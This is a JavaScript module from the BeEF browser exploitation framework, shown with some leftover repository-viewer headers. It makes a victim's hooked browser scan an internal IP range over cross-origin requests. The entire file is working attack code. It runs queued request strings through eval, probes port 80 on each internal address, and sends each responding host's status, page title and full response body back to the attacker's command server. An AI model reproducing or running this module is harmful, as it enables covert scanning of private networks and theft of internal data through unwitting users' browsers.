92 lines
3.2 KiB
JavaScript
92 lines
3.2 KiB
JavaScript
//
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// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
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// Browser Exploitation Framework (BeEF) - http://beefproject.com
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// See the file 'doc/COPYING' for copying permission
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//
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beef.execute(function() {
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var ips = new Array();
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var ipRange = "<%= @ipRange %>";
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var threads = "<%= @threads %>";
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var wait = 2;
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if(!beef.browser.hasCors()) {
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beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS');
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return;
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}
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// set target IP range
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var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
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if (range == null || range[1] == null) {
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beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied");
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return;
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}
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// ipRange will be in the form of 192.168.0.1-192.168.0.254
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// the fourth octet will be iterated.
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// (only C class IP ranges are supported atm)
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ipBounds = ipRange.split('-');
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lowerBound = ipBounds[0].split('.')[3];
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upperBound = ipBounds[1].split('.')[3];
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for (var i = lowerBound; i <= upperBound; i++){
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ipToTest = ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i;
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ips.push(ipToTest);
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}
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WorkerQueue = function(frequency) {
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var stack = [];
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var timer = null;
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var frequency = frequency;
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var start_scan = (new Date).getTime();
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this.process = function() {
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var item = stack.shift();
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eval(item);
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if (stack.length === 0) {
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clearInterval(timer);
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timer = null;
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var interval = (new Date).getTime() - start_scan;
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beef.debug("[Cross-Origin Scanner] Worker queue is complete ["+interval+" ms]");
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return;
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}
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}
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this.queue = function(item) {
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stack.push(item);
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if (timer === null) {
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timer = setInterval(this.process, frequency);
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}
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}
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}
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beef.debug("[Cross-Origin Scanner] Starting CORS scan ("+ips.length+" URLs / "+threads+" workers)");
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// create worker queue
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var workers = new Array();
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for (w=0; w < threads; w++) {
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workers.push(new WorkerQueue(wait*1000));
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}
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// send CORS request to each IP
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var proto = 'http';
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var port = 80;
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for (var i=0; i < ips.length; i++) {
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var worker = workers[i % threads];
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var url = proto + '://' + ips[i] + ':' + port;
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worker.queue('beef.net.cors.request(' +
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'"GET", "'+url+'", "", function(response) {' +
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'if (response != null && response["status"] != 0) {' +
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'beef.debug("[Cross-Origin Scanner] Received response from '+url+': " + JSON.stringify(response));' +
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'var title = response["body"].match("<title>(.*?)<\\/title>"); if (title != null) title = title[1];' +
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'beef.net.send("<%= @command_url %>", <%= @command_id %>, "ip='+ips[i]+'&port='+port+'&status="+response["status"]+"&title="+title+"&response="+JSON.stringify(response));' +
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'}' +
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'});'
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);
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}
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});
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